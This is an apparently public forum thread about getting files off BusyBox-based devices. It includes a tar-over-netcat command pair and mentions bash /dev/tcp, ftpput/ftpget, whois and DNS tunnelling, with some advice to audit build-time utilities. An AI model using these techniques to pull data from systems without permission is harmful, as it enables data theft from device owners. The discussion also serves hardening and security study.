Exfiltrating files with BusyBox
bitquark.co.uk
Exfiltrating files with BusyBox
1–10 of 24 posts
Re: Exfiltrating files with BusyBox
#2I very much prefer using "tar" and "nc".
Example:
Host1: "tar -cf - /file1 /file2 | nc -l -p 54321"
Host2: "nc host1 54321 | tar -xf -"
Re: Exfiltrating files with BusyBox
#3I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Re: Exfiltrating files with BusyBox
#4The ftpput and ftpget commands might not be available even as arguments to the busybox command, depending on how it was configured at build time.
# type ftpput
-sh: type: ftpput: not found
# busybox ftpput
busybox: applet not found
#
Re: Exfiltrating files with BusyBox
#5I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Re: Exfiltrating files with BusyBox
#6Earlier quoted context omitted.
Indeed, the tools listing in that post makes clear that nc should be available. If you have another Unix machine elsewhere, the nc solution avoids having to install any new software on either machine.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget.
Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
Re: Exfiltrating files with BusyBox
#7I very much prefer using "tar" and "nc". Example: Host1: "tar -cf - /file1 /file2 | nc -l -p 54321" Host2: "nc host1 54321 | tar -xf -"
If you have bash, you can even partially get by without netcat as well. Bash has the wonderful "fake" devicenodes, /dev/tcp/host/port and /dev/udp/host/port.
Re: Exfiltrating files with BusyBox
#8Earlier quoted context omitted.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget. Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
Interesting, we must be looking at a different class of devices. If we're going down that road, there's always base64 and copy + paste!
Re: Exfiltrating files with BusyBox
#9Earlier quoted context omitted.
Indeed! I meant to mention the nc option, but I've found that ftpput/get are more often available than nc, perhaps something to do with the ubiquity of ftp.
Much the other way around. Netcat is ubiquitous. I haven't come across many systems with ftpput and ftpget. Neat challenge left as an exercise to the reader: whois can be used to transfer files too. :)
>whois can be used to transfer files too.
Ah, the old DNS-tunnelling trick. A fun way to flip cheap hotels the bird.
Re: Exfiltrating files with BusyBox
#10The ftpput and ftpget commands might not be available even as arguments to the busybox command, depending on how it was configured at build time. # type ftpput -sh: type: ftpput: not found # busybox ftpput busybox: applet not found # Likewise for "nc".
You're absolutely right - one of the nice things about Busybox is that it's reasonably easy to configure which utilities you'd like included in the build.
Your example along with OP's showcase why it's a good idea to audit the utilities you include at build time!